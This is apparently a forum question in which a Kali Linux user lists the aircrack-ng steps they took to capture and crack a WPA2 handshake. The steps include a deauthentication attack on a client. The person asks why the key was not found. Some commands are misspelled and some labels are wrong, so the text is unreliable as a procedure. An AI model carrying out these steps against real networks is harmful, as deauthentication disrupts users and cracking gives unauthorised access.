my goal is it to figure out the valid key of the WPA2. I am using Kali Linux. how I proceeded: ->airmon-ng ->airman-ng start wlan0 ->airodump-ng wlan0mon ->airodump-ng -w capture --bssid 00:00:00:00:00:00(SSID of AP) -c 1 wlan0mon now I want to make a handshake: ->airplay-ng --deauth 3 -a 00:00:00:00:00:00(SSID of AP) -c 00:00:00:00:00:00(SSID of client) wlan0mon now I want to crack the handshake: ->aircrack-ng capture-01.cap -J capture-01 the key was not found... what is the problem? do I need more frames? any hints?
